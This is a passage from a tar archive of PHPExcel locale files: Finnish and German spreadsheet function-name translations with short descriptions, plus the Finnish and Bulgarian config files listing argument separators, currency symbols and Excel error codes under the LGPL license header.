SUMPRODUCT = TULOJEN.SUMMA ## Palauttaa matriisin toisiaan vastaavien osien tulojen summan. SUMSQ = NELIÖSUMMA ## Palauttaa argumenttien neliöiden summan. SUMX2MY2 = NELIÖSUMMIEN.EROTUS ## Palauttaa kahden matriisin toisiaan vastaavien arvojen laskettujen neliösummien erotuksen. SUMX2PY2 = NELIÖSUMMIEN.SUMMA ## Palauttaa kahden matriisin toisiaan vastaavien arvojen neliösummien summan. SUMXMY2 = EROTUSTEN.NELIÖSUMMA ## Palauttaa kahden matriisin toisiaan vastaavien arvojen erotusten neliösumman. TAN = TAN ## Palauttaa luvun tangentin. TANH = TANH ## Palauttaa luvun hyperbolisen tangentin. TRUNC = KATKAISE ## Katkaisee luvun kokonaisluvuksi. ## ## Statistical functions Tilastolliset funktiot ## AVEDEV = KESKIPOIKKEAMA ## Palauttaa hajontojen itseisarvojen keskiarvon. AVERAGE = KESKIARVO ## Palauttaa argumenttien keskiarvon. AVERAGEA = KESKIARVOA ## Palauttaa argumenttien, mukaan lukien lukujen, tekstin ja loogisten arvojen, keskiarvon. AVERAGEIF = KESKIARVO.JOS ## Palauttaa alueen niiden solujen keskiarvon (aritmeettisen keskiarvon), jotka täyttävät annetut ehdot. AVERAGEIFS = KESKIARVO.JOS.JOUKKO ## Palauttaa niiden solujen keskiarvon (aritmeettisen keskiarvon), jotka vastaavat useita ehtoja. BETADIST = BEETAJAKAUMA ## Palauttaa kumulatiivisen beetajakaumafunktion arvon. BETAINV = BEETAJAKAUMA.KÄÄNT ## Palauttaa määritetyn beetajakauman käänteisen kumulatiivisen jakaumafunktion arvon. BINOMDIST = BINOMIJAKAUMA ## Palauttaa yksittäisen termin binomijakaumatodennäköisyyden. CHIDIST = CHIJAKAUMA ## Palauttaa yksisuuntaisen chi-neliön jakauman todennäköisyyden. CHIINV = CHIJAKAUMA.KÄÄNT ## Palauttaa yksisuuntaisen chi-neliön jakauman todennäköisyyden käänteisarvon. CHITEST = CHITESTI ## Palauttaa riippumattomuustestin tuloksen. CONFIDENCE = LUOTTAMUSVÄLI ## Palauttaa luottamusvälin populaation keskiarvolle. CORREL = KORRELAATIO ## Palauttaa kahden arvojoukon korrelaatiokertoimen. COUNT = LASKE ## Laskee argumenttiluettelossa olevien lukujen määrän. COUNTA = LASKE.A ## Laskee argumenttiluettelossa olevien arvojen määrän. COUNTBLANK = LASKE.TYHJÄT ## Laskee alueella olevien tyhjien solujen määrän. COUNTIF = LASKE.JOS ## Laskee alueella olevien sellaisten solujen määrän, joiden sisältö vastaa annettuja ehtoja. COUNTIFS = LASKE.JOS.JOUKKO ## Laskee alueella olevien sellaisten solujen määrän, joiden sisältö vastaa useita ehtoja. COVAR = KOVARIANSSI ## Palauttaa kovarianssin, joka on keskiarvo havaintoaineiston kunkin pisteparin poikkeamien tuloista. CRITBINOM = BINOMIJAKAUMA.KRIT ## Palauttaa pienimmän arvon, jossa binomijakauman kertymäfunktion arvo on pienempi tai yhtä suuri kuin vertailuarvo. DEVSQ = OIKAISTU.NELIÖSUMMA ## Palauttaa keskipoikkeamien neliösumman. EXPONDIST = EKSPONENTIAALIJAKAUMA ## Palauttaa eksponentiaalijakauman. FDIST = FJAKAUMA ## Palauttaa F-todennäköisyysjakauman. FINV = FJAKAUMA.KÄÄNT ## Palauttaa F-todennäköisyysjakauman käänteisfunktion. FISHER = FISHER ## Palauttaa Fisher-muunnoksen. FISHERINV = FISHER.KÄÄNT ## Palauttaa käänteisen Fisher-muunnoksen. FORECAST = ENNUSTE ## Palauttaa lineaarisen trendin arvon. FREQUENCY = TAAJUUS ## Palauttaa frekvenssijakautuman pystysuuntaisena matriisina. FTEST = FTESTI ## Palauttaa F-testin tuloksen. GAMMADIST = GAMMAJAKAUMA ## Palauttaa gammajakauman. GAMMAINV = GAMMAJAKAUMA.KÄÄNT ## Palauttaa käänteisen gammajakauman kertymäfunktion. GAMMALN = GAMMALN ## Palauttaa gammafunktion luonnollisen logaritmin G(x). GEOMEAN = KESKIARVO.GEOM ## Palauttaa geometrisen keskiarvon. GROWTH = KASVU ## Palauttaa eksponentiaalisen trendin arvon. HARMEAN = KESKIARVO.HARM ## Palauttaa harmonisen keskiarvon. HYPGEOMDIST = HYPERGEOM.JAKAUMA ## Palauttaa hypergeometrisen jakauman. INTERCEPT = LEIKKAUSPISTE ## Palauttaa lineaarisen regressiosuoran leikkauspisteen. KURT = KURT ## Palauttaa tietoalueen vinous-arvon eli huipukkuuden. LARGE = SUURI ## Palauttaa tietojoukon k:nneksi suurimman arvon. LINEST = LINREGR ## Palauttaa lineaarisen trendin parametrit. LOGEST = LOGREGR ## Palauttaa eksponentiaalisen trendin parametrit. LOGINV = LOGNORM.JAKAUMA.KÄÄNT ## Palauttaa lognormeeratun jakauman käänteisfunktion. LOGNORMDIST = LOGNORM.JAKAUMA ## Palauttaa lognormaalisen jakauman kertymäfunktion. MAX = MAKS ## Palauttaa suurimman arvon argumenttiluettelosta. MAXA = MAKSA ## Palauttaa argumenttien, mukaan lukien lukujen, tekstin ja loogisten arvojen, suurimman arvon. MEDIAN = MEDIAANI ## Palauttaa annettujen lukujen mediaanin. MIN = MIN ## Palauttaa pienimmän arvon argumenttiluettelosta. MINA = MINA ## Palauttaa argumenttien, mukaan lukien lukujen, tekstin ja loogisten arvojen, pienimmän arvon. MODE = MOODI ## Palauttaa tietojoukossa useimmin esiintyvän arvon. NEGBINOMDIST = BINOMIJAKAUMA.NEG ## Palauttaa negatiivisen binomijakauman. NORMDIST = NORM.JAKAUMA ## Palauttaa normaalijakauman kertymäfunktion. NORMINV = NORM.JAKAUMA.KÄÄNT ## Palauttaa käänteisen normaalijakauman kertymäfunktion. NORMSDIST = NORM.JAKAUMA.NORMIT ## Palauttaa normitetun normaalijakauman kertymäfunktion. NORMSINV = NORM.JAKAUMA.NORMIT.KÄÄNT ## Palauttaa normitetun normaalijakauman kertymäfunktion käänteisarvon. PEARSON = PEARSON ## Palauttaa Pearsonin tulomomenttikorrelaatiokertoimen. PERCENTILE = PROSENTTIPISTE ## Palauttaa alueen arvojen k:nnen prosenttipisteen. PERCENTRANK = PROSENTTIJÄRJESTYS ## Palauttaa tietojoukon arvon prosentuaalisen järjestysluvun. PERMUT = PERMUTAATIO ## Palauttaa mahdollisten permutaatioiden määrän annetulle objektien määrälle. POISSON = POISSON ## Palauttaa Poissonin todennäköisyysjakauman. PROB = TODENNÄKÖISYYS ## Palauttaa todennäköisyyden sille, että arvot ovat tietyltä väliltä. QUARTILE = NELJÄNNES ## Palauttaa tietoalueen neljänneksen. RANK = ARVON.MUKAAN ## Palauttaa luvun paikan lukuarvoluettelossa. RSQ = PEARSON.NELIÖ ## Palauttaa Pearsonin tulomomenttikorrelaatiokertoimen neliön. SKEW = JAKAUMAN.VINOUS ## Palauttaa jakauman vinouden. SLOPE = KULMAKERROIN ## Palauttaa lineaarisen regressiosuoran kulmakertoimen. SMALL = PIENI ## Palauttaa tietojoukon k:nneksi pienimmän arvon. STANDARDIZE = NORMITA ## Palauttaa normitetun arvon. STDEV = KESKIHAJONTA ## Laskee populaation keskihajonnan otoksen perusteella. STDEVA = KESKIHAJONTAA ## Laskee populaation keskihajonnan otoksen perusteella, mukaan lukien luvut, tekstin ja loogiset arvot. STDEVP = KESKIHAJONTAP ## Laskee normaalijakautuman koko populaation perusteella. STDEVPA = KESKIHAJONTAPA ## Laskee populaation keskihajonnan koko populaation perusteella, mukaan lukien luvut, tekstin ja totuusarvot. STEYX = KESKIVIRHE ## Palauttaa regression kutakin x-arvoa vastaavan ennustetun y-arvon keskivirheen. TDIST = TJAKAUMA ## Palauttaa t-jakautuman. TINV = TJAKAUMA.KÄÄNT ## Palauttaa käänteisen t-jakauman. TREND = SUUNTAUS ## Palauttaa lineaarisen trendin arvoja. TRIMMEAN = KESKIARVO.TASATTU ## Palauttaa tietojoukon tasatun keskiarvon. TTEST = TTESTI ## Palauttaa t-testiin liittyvän todennäköisyyden. VAR = VAR ## Arvioi populaation varianssia otoksen perusteella. VARA = VARA ## Laskee populaation varianssin otoksen perusteella, mukaan lukien luvut, tekstin ja loogiset arvot. VARP = VARP ## Laskee varianssin koko populaation perusteella. VARPA = VARPA ## Laskee populaation varianssin koko populaation perusteella, mukaan lukien luvut, tekstin ja totuusarvot. WEIBULL = WEIBULL ## Palauttaa Weibullin jakauman. ZTEST = ZTESTI ## Palauttaa z-testin yksisuuntaisen todennäköisyysarvon. ## ## Text functions Tekstifunktiot ## ASC = ASC ## Muuntaa merkkijonossa olevat englanninkieliset DBCS- tai katakana-merkit SBCS-merkeiksi. BAHTTEXT = BAHTTEKSTI ## Muuntaa luvun tekstiksi ß (baht) -valuuttamuotoa käyttämällä. CHAR = MERKKI ## Palauttaa koodin lukua vastaavan merkin. CLEAN = SIIVOA ## Poistaa tekstistä kaikki tulostumattomat merkit. CODE = KOODI ## Palauttaa tekstimerkkijonon ensimmäisen merkin numerokoodin. CONCATENATE = KETJUTA ## Yhdistää useat merkkijonot yhdeksi merkkijonoksi. DOLLAR = VALUUTTA ## Muuntaa luvun tekstiksi $ (dollari) -valuuttamuotoa käyttämällä. EXACT = VERTAA ## Tarkistaa, ovatko kaksi tekstiarvoa samanlaiset. FIND = ETSI ## Etsii tekstiarvon toisen tekstin sisältä (tunnistaa isot ja pienet kirjaimet). FINDB = ETSIB ## Etsii tekstiarvon toisen tekstin sisältä (tunnistaa isot ja pienet kirjaimet). FIXED = KIINTEÄ ## Muotoilee luvun tekstiksi, jossa on kiinteä määrä desimaaleja. JIS = JIS ## Muuntaa merkkijonossa olevat englanninkieliset SBCS- tai katakana-merkit DBCS-merkeiksi. LEFT = VASEN ## Palauttaa tekstiarvon vasemmanpuoliset merkit. LEFTB = VASENB ## Palauttaa tekstiarvon vasemmanpuoliset merkit. LEN = PITUUS ## Palauttaa tekstimerkkijonon merkkien määrän. LENB = PITUUSB ## Palauttaa tekstimerkkijonon merkkien määrän. LOWER = PIENET ## Muuntaa tekstin pieniksi kirjaimiksi. MID = POIMI.TEKSTI ## Palauttaa määritetyn määrän merkkejä merkkijonosta alkaen annetusta kohdasta. MIDB = POIMI.TEKSTIB ## Palauttaa määritetyn määrän merkkejä merkkijonosta alkaen annetusta kohdasta. PHONETIC = FONEETTINEN ## Hakee foneettiset (furigana) merkit merkkijonosta. PROPER = ERISNIMI ## Muuttaa merkkijonon kunkin sanan ensimmäisen kirjaimen isoksi. REPLACE = KORVAA ## Korvaa tekstissä olevat merkit. REPLACEB = KORVAAB ## Korvaa tekstissä olevat merkit. REPT = TOISTA ## Toistaa tekstin annetun määrän kertoja. RIGHT = OIKEA ## Palauttaa tekstiarvon oikeanpuoliset merkit. RIGHTB = OIKEAB ## Palauttaa tekstiarvon oikeanpuoliset merkit. SEARCH = KÄY.LÄPI ## Etsii tekstiarvon toisen tekstin sisältä (isot ja pienet kirjaimet tulkitaan samoiksi merkeiksi). SEARCHB = KÄY.LÄPIB ## Etsii tekstiarvon toisen tekstin sisältä (isot ja pienet kirjaimet tulkitaan samoiksi merkeiksi). SUBSTITUTE = VAIHDA ## Korvaa merkkijonossa olevan tekstin toisella. T = T ## Muuntaa argumentit tekstiksi. TEXT = TEKSTI ## Muotoilee luvun ja muuntaa sen tekstiksi. TRIM = POISTA.VÄLIT ## Poistaa välilyönnit tekstistä. UPPER = ISOT ## Muuntaa tekstin isoiksi kirjaimiksi. VALUE = ARVO ## Muuntaa tekstiargumentin luvuksi. PHPExcel/locale/fi/config 0000644 00000002544 14642534110 0011206 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = $ # Symbol not known, should it be a € (Euro)? ## ## Excel Error Codes (For future use) ## NULL = #TYHJÄ! DIV0 = #JAKO/0! VALUE = #ARVO! REF = #VIITTAUS! NAME = #NIMI? NUM = #LUKU! NA = #PUUTTUU PHPExcel/locale/bg/config 0000644 00000002442 14642534110 0011175 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = лв ## ## Excel Error Codes (For future use) ## NULL = #ПРАЗНО! DIV0 = #ДЕЛ/0! VALUE = #СТОЙНОСТ! REF = #РЕФ! NAME = #ИМЕ? NUM = #ЧИСЛО! NA = #Н/Д PHPExcel/locale/de/functions 0000644 00000106121 14642534110 0011737 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Calculation ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## Data in this file derived from http://www.piuha.fi/excel-function-name-translation/ ## ## ## ## Add-in and Automation functions Add-In- und Automatisierungsfunktionen ## GETPIVOTDATA = PIVOTDATENZUORDNEN ## In einem PivotTable-Bericht gespeicherte Daten werden zurückgegeben. ## ## Cube functions Cubefunktionen ## CUBEKPIMEMBER = CUBEKPIELEMENT ## Gibt Name, Eigenschaft und Measure eines Key Performance Indicators (KPI) zurück und zeigt den Namen und die Eigenschaft in der Zelle an. Ein KPI ist ein quantifizierbares Maß, wie z. B. der monatliche Bruttogewinn oder die vierteljährliche Mitarbeiterfluktuation, mit dessen Hilfe das Leistungsverhalten eines Unternehmens überwacht werden kann. CUBEMEMBER = CUBEELEMENT ## Gibt ein Element oder ein Tuple in einer Cubehierarchie zurück. Wird verwendet, um zu überprüfen, ob das Element oder Tuple im Cube vorhanden ist. CUBEMEMBERPROPERTY = CUBEELEMENTEIGENSCHAFT ## Gibt den Wert einer Elementeigenschaft im Cube zurück. Wird verwendet, um zu überprüfen, ob ein Elementname im Cube vorhanden ist, und um die für dieses Element angegebene Eigenschaft zurückzugeben. CUBERANKEDMEMBER = CUBERANGELEMENT ## Gibt das n-te oder n-rangige Element in einer Menge zurück. Wird verwendet, um mindestens ein Element in einer Menge zurückzugeben, wie z. B. bester Vertriebsmitarbeiter oder 10 beste Kursteilnehmer. CUBESET = CUBEMENGE ## Definiert eine berechnete Menge Elemente oder Tuples durch Senden eines Mengenausdrucks an den Cube auf dem Server, der die Menge erstellt und an Microsoft Office Excel zurückgibt. CUBESETCOUNT = CUBEMENGENANZAHL ## Gibt die Anzahl der Elemente in einer Menge zurück. CUBEVALUE = CUBEWERT ## Gibt einen Aggregatwert aus einem Cube zurück. ## ## Database functions Datenbankfunktionen ## DAVERAGE = DBMITTELWERT ## Gibt den Mittelwert der ausgewählten Datenbankeinträge zurück DCOUNT = DBANZAHL ## Zählt die Zellen mit Zahlen in einer Datenbank DCOUNTA = DBANZAHL2 ## Zählt nicht leere Zellen in einer Datenbank DGET = DBAUSZUG ## Extrahiert aus einer Datenbank einen einzelnen Datensatz, der den angegebenen Kriterien entspricht DMAX = DBMAX ## Gibt den größten Wert aus ausgewählten Datenbankeinträgen zurück DMIN = DBMIN ## Gibt den kleinsten Wert aus ausgewählten Datenbankeinträgen zurück DPRODUCT = DBPRODUKT ## Multipliziert die Werte in einem bestimmten Feld mit Datensätzen, die den Kriterien in einer Datenbank entsprechen DSTDEV = DBSTDABW ## Schätzt die Standardabweichung auf der Grundlage einer Stichprobe aus ausgewählten Datenbankeinträgen DSTDEVP = DBSTDABWN ## Berechnet die Standardabweichung auf der Grundlage der Grundgesamtheit ausgewählter Datenbankeinträge DSUM = DBSUMME ## Addiert die Zahlen in der Feldspalte mit Datensätzen in der Datenbank, die den Kriterien entsprechen DVAR = DBVARIANZ ## Schätzt die Varianz auf der Grundlage ausgewählter Datenbankeinträge DVARP = DBVARIANZEN ## Berechnet die Varianz auf der Grundlage der Grundgesamtheit ausgewählter Datenbankeinträge ## ## Date and time functions Datums- und Zeitfunktionen ## DATE = DATUM ## Gibt die fortlaufende Zahl eines bestimmten Datums zurück DATEVALUE = DATWERT ## Wandelt ein Datum in Form von Text in eine fortlaufende Zahl um DAY = TAG ## Wandelt eine fortlaufende Zahl in den Tag des Monats um DAYS360 = TAGE360 ## Berechnet die Anzahl der Tage zwischen zwei Datumsangaben ausgehend von einem Jahr, das 360 Tage hat EDATE = EDATUM ## Gibt die fortlaufende Zahl des Datums zurück, bei dem es sich um die angegebene Anzahl von Monaten vor oder nach dem Anfangstermin handelt EOMONTH = MONATSENDE ## Gibt die fortlaufende Zahl des letzten Tags des Monats vor oder nach einer festgelegten Anzahl von Monaten zurück HOUR = STUNDE ## Wandelt eine fortlaufende Zahl in eine Stunde um MINUTE = MINUTE ## Wandelt eine fortlaufende Zahl in eine Minute um MONTH = MONAT ## Wandelt eine fortlaufende Zahl in einen Monat um NETWORKDAYS = NETTOARBEITSTAGE ## Gibt die Anzahl von ganzen Arbeitstagen zwischen zwei Datumswerten zurück NOW = JETZT ## Gibt die fortlaufende Zahl des aktuellen Datums und der aktuellen Uhrzeit zurück SECOND = SEKUNDE ## Wandelt eine fortlaufende Zahl in eine Sekunde um TIME = ZEIT ## Gibt die fortlaufende Zahl einer bestimmten Uhrzeit zurück TIMEVALUE = ZEITWERT ## Wandelt eine Uhrzeit in Form von Text in eine fortlaufende Zahl um TODAY = HEUTE ## Gibt die fortlaufende Zahl des heutigen Datums zurück WEEKDAY = WOCHENTAG ## Wandelt eine fortlaufende Zahl in den Wochentag um WEEKNUM = KALENDERWOCHE ## Wandelt eine fortlaufende Zahl in eine Zahl um, die angibt, in welche Woche eines Jahres das angegebene Datum fällt WORKDAY = ARBEITSTAG ## Gibt die fortlaufende Zahl des Datums vor oder nach einer bestimmten Anzahl von Arbeitstagen zurück YEAR = JAHR ## Wandelt eine fortlaufende Zahl in ein Jahr um YEARFRAC = BRTEILJAHRE ## Gibt die Anzahl der ganzen Tage zwischen Ausgangsdatum und Enddatum in Bruchteilen von Jahren zurück ## ## Engineering functions Konstruktionsfunktionen ## BESSELI = BESSELI ## Gibt die geänderte Besselfunktion In(x) zurück BESSELJ = BESSELJ ## Gibt die Besselfunktion Jn(x) zurück BESSELK = BESSELK ## Gibt die geänderte Besselfunktion Kn(x) zurück BESSELY = BESSELY ## Gibt die Besselfunktion Yn(x) zurück BIN2DEC = BININDEZ ## Wandelt eine binäre Zahl (Dualzahl) in eine dezimale Zahl um BIN2HEX = BININHEX ## Wandelt eine binäre Zahl (Dualzahl) in eine hexadezimale Zahl um BIN2OCT = BININOKT ## Wandelt eine binäre Zahl (Dualzahl) in eine oktale Zahl um COMPLEX = KOMPLEXE ## Wandelt den Real- und Imaginärteil in eine komplexe Zahl um CONVERT = UMWANDELN ## Wandelt eine Zahl von einem Maßsystem in ein anderes um DEC2BIN = DEZINBIN ## Wandelt eine dezimale Zahl in eine binäre Zahl (Dualzahl) um DEC2HEX = DEZINHEX ## Wandelt eine dezimale Zahl in eine hexadezimale Zahl um DEC2OCT = DEZINOKT ## Wandelt eine dezimale Zahl in eine oktale Zahl um DELTA = DELTA ## Überprüft, ob zwei Werte gleich sind ERF = GAUSSFEHLER ## Gibt die Gauss'sche Fehlerfunktion zurück ERFC = GAUSSFKOMPL ## Gibt das Komplement zur Gauss'schen Fehlerfunktion zurück GESTEP = GGANZZAHL ## Überprüft, ob eine Zahl größer als ein gegebener Schwellenwert ist HEX2BIN = HEXINBIN ## Wandelt eine hexadezimale Zahl in eine Binärzahl um HEX2DEC = HEXINDEZ ## Wandelt eine hexadezimale Zahl in eine dezimale Zahl um HEX2OCT = HEXINOKT ## Wandelt eine hexadezimale Zahl in eine Oktalzahl um IMABS = IMABS ## Gibt den Absolutbetrag (Modulo) einer komplexen Zahl zurück IMAGINARY = IMAGINÄRTEIL ## Gibt den Imaginärteil einer komplexen Zahl zurück IMARGUMENT = IMARGUMENT ## Gibt das Argument Theta zurück, einen Winkel, der als Bogenmaß ausgedrückt wird IMCONJUGATE = IMKONJUGIERTE ## Gibt die konjugierte komplexe Zahl zu einer komplexen Zahl zurück IMCOS = IMCOS ## Gibt den Kosinus einer komplexen Zahl zurück IMDIV = IMDIV ## Gibt den Quotienten zweier komplexer Zahlen zurück IMEXP = IMEXP ## Gibt die algebraische Form einer in exponentieller Schreibweise vorliegenden komplexen Zahl zurück IMLN = IMLN ## Gibt den natürlichen Logarithmus einer komplexen Zahl zurück IMLOG10 = IMLOG10 ## Gibt den Logarithmus einer komplexen Zahl zur Basis 10 zurück IMLOG2 = IMLOG2 ## Gibt den Logarithmus einer komplexen Zahl zur Basis 2 zurück IMPOWER = IMAPOTENZ ## Potenziert eine komplexe Zahl mit einer ganzen Zahl IMPRODUCT = IMPRODUKT ## Gibt das Produkt von komplexen Zahlen zurück IMREAL = IMREALTEIL ## Gibt den Realteil einer komplexen Zahl zurück IMSIN = IMSIN ## Gibt den Sinus einer komplexen Zahl zurück IMSQRT = IMWURZEL ## Gibt die Quadratwurzel einer komplexen Zahl zurück IMSUB = IMSUB ## Gibt die Differenz zwischen zwei komplexen Zahlen zurück IMSUM = IMSUMME ## Gibt die Summe von komplexen Zahlen zurück OCT2BIN = OKTINBIN ## Wandelt eine oktale Zahl in eine binäre Zahl (Dualzahl) um OCT2DEC = OKTINDEZ ## Wandelt eine oktale Zahl in eine dezimale Zahl um OCT2HEX = OKTINHEX ## Wandelt eine oktale Zahl in eine hexadezimale Zahl um ## ## Financial functions Finanzmathematische Funktionen ## ACCRINT = AUFGELZINS ## Gibt die aufgelaufenen Zinsen (Stückzinsen) eines Wertpapiers mit periodischen Zinszahlungen zurück ACCRINTM = AUFGELZINSF ## Gibt die aufgelaufenen Zinsen (Stückzinsen) eines Wertpapiers zurück, die bei Fälligkeit ausgezahlt werden AMORDEGRC = AMORDEGRK ## Gibt die Abschreibung für die einzelnen Abschreibungszeiträume mithilfe eines Abschreibungskoeffizienten zurück AMORLINC = AMORLINEARK ## Gibt die Abschreibung für die einzelnen Abschreibungszeiträume zurück COUPDAYBS = ZINSTERMTAGVA ## Gibt die Anzahl der Tage vom Anfang des Zinstermins bis zum Abrechnungstermin zurück COUPDAYS = ZINSTERMTAGE ## Gibt die Anzahl der Tage der Zinsperiode zurück, die den Abrechnungstermin einschließt COUPDAYSNC = ZINSTERMTAGNZ ## Gibt die Anzahl der Tage vom Abrechnungstermin bis zum nächsten Zinstermin zurück COUPNCD = ZINSTERMNZ ## Gibt das Datum des ersten Zinstermins nach dem Abrechnungstermin zurück COUPNUM = ZINSTERMZAHL ## Gibt die Anzahl der Zinstermine zwischen Abrechnungs- und Fälligkeitsdatum zurück COUPPCD = ZINSTERMVZ ## Gibt das Datum des letzten Zinstermins vor dem Abrechnungstermin zurück CUMIPMT = KUMZINSZ ## Berechnet die kumulierten Zinsen, die zwischen zwei Perioden zu zahlen sind CUMPRINC = KUMKAPITAL ## Berechnet die aufgelaufene Tilgung eines Darlehens, die zwischen zwei Perioden zu zahlen ist DB = GDA2 ## Gibt die geometrisch-degressive Abschreibung eines Wirtschaftsguts für eine bestimmte Periode zurück DDB = GDA ## Gibt die Abschreibung eines Anlageguts für einen angegebenen Zeitraum unter Verwendung der degressiven Doppelraten-Abschreibung oder eines anderen von Ihnen angegebenen Abschreibungsverfahrens zurück DISC = DISAGIO ## Gibt den in Prozent ausgedrückten Abzinsungssatz eines Wertpapiers zurück DOLLARDE = NOTIERUNGDEZ ## Wandelt eine Notierung, die als Dezimalbruch ausgedrückt wurde, in eine Dezimalzahl um DOLLARFR = NOTIERUNGBRU ## Wandelt eine Notierung, die als Dezimalzahl ausgedrückt wurde, in einen Dezimalbruch um DURATION = DURATION ## Gibt die jährliche Duration eines Wertpapiers mit periodischen Zinszahlungen zurück EFFECT = EFFEKTIV ## Gibt die jährliche Effektivverzinsung zurück FV = ZW ## Gibt den zukünftigen Wert (Endwert) einer Investition zurück FVSCHEDULE = ZW2 ## Gibt den aufgezinsten Wert des Anfangskapitals für eine Reihe periodisch unterschiedlicher Zinssätze zurück INTRATE = ZINSSATZ ## Gibt den Zinssatz eines voll investierten Wertpapiers zurück IPMT = ZINSZ ## Gibt die Zinszahlung einer Investition für die angegebene Periode zurück IRR = IKV ## Gibt den internen Zinsfuß einer Investition ohne Finanzierungskosten oder Reinvestitionsgewinne zurück ISPMT = ISPMT ## Berechnet die während eines bestimmten Zeitraums für eine Investition gezahlten Zinsen MDURATION = MDURATION ## Gibt die geänderte Dauer für ein Wertpapier mit einem angenommenen Nennwert von 100 € zurück MIRR = QIKV ## Gibt den internen Zinsfuß zurück, wobei positive und negative Zahlungen zu unterschiedlichen Sätzen finanziert werden NOMINAL = NOMINAL ## Gibt die jährliche Nominalverzinsung zurück NPER = ZZR ## Gibt die Anzahl der Zahlungsperioden einer Investition zurück NPV = NBW ## Gibt den Nettobarwert einer Investition auf Basis periodisch anfallender Zahlungen und eines Abzinsungsfaktors zurück ODDFPRICE = UNREGER.KURS ## Gibt den Kurs pro 100 € Nennwert eines Wertpapiers mit einem unregelmäßigen ersten Zinstermin zurück ODDFYIELD = UNREGER.REND ## Gibt die Rendite eines Wertpapiers mit einem unregelmäßigen ersten Zinstermin zurück ODDLPRICE = UNREGLE.KURS ## Gibt den Kurs pro 100 € Nennwert eines Wertpapiers mit einem unregelmäßigen letzten Zinstermin zurück ODDLYIELD = UNREGLE.REND ## Gibt die Rendite eines Wertpapiers mit einem unregelmäßigen letzten Zinstermin zurück PMT = RMZ ## Gibt die periodische Zahlung für eine Annuität zurück PPMT = KAPZ ## Gibt die Kapitalrückzahlung einer Investition für eine angegebene Periode zurück PRICE = KURS ## Gibt den Kurs pro 100 € Nennwert eines Wertpapiers zurück, das periodisch Zinsen auszahlt PRICEDISC = KURSDISAGIO ## Gibt den Kurs pro 100 € Nennwert eines unverzinslichen Wertpapiers zurück PRICEMAT = KURSFÄLLIG ## Gibt den Kurs pro 100 € Nennwert eines Wertpapiers zurück, das Zinsen am Fälligkeitsdatum auszahlt PV = BW ## Gibt den Barwert einer Investition zurück RATE = ZINS ## Gibt den Zinssatz pro Zeitraum einer Annuität zurück RECEIVED = AUSZAHLUNG ## Gibt den Auszahlungsbetrag eines voll investierten Wertpapiers am Fälligkeitstermin zurück SLN = LIA ## Gibt die lineare Abschreibung eines Wirtschaftsguts pro Periode zurück SYD = DIA ## Gibt die arithmetisch-degressive Abschreibung eines Wirtschaftsguts für eine bestimmte Periode zurück TBILLEQ = TBILLÄQUIV ## Gibt die Rendite für ein Wertpapier zurück TBILLPRICE = TBILLKURS ## Gibt den Kurs pro 100 € Nennwert eines Wertpapiers zurück TBILLYIELD = TBILLRENDITE ## Gibt die Rendite für ein Wertpapier zurück VDB = VDB ## Gibt die degressive Abschreibung eines Wirtschaftsguts für eine bestimmte Periode oder Teilperiode zurück XIRR = XINTZINSFUSS ## Gibt den internen Zinsfuß einer Reihe nicht periodisch anfallender Zahlungen zurück XNPV = XKAPITALWERT ## Gibt den Nettobarwert (Kapitalwert) einer Reihe nicht periodisch anfallender Zahlungen zurück YIELD = RENDITE ## Gibt die Rendite eines Wertpapiers zurück, das periodisch Zinsen auszahlt YIELDDISC = RENDITEDIS ## Gibt die jährliche Rendite eines unverzinslichen Wertpapiers zurück YIELDMAT = RENDITEFÄLL ## Gibt die jährliche Rendite eines Wertpapiers zurück, das Zinsen am Fälligkeitsdatum auszahlt ## ## Information functions Informationsfunktionen ## CELL = ZELLE ## Gibt Informationen zu Formatierung, Position oder Inhalt einer Zelle zurück ERROR.TYPE = FEHLER.TYP ## Gibt eine Zahl zurück, die einem Fehlertyp entspricht INFO = INFO ## Gibt Informationen zur aktuellen Betriebssystemumgebung zurück ISBLANK = ISTLEER ## Gibt 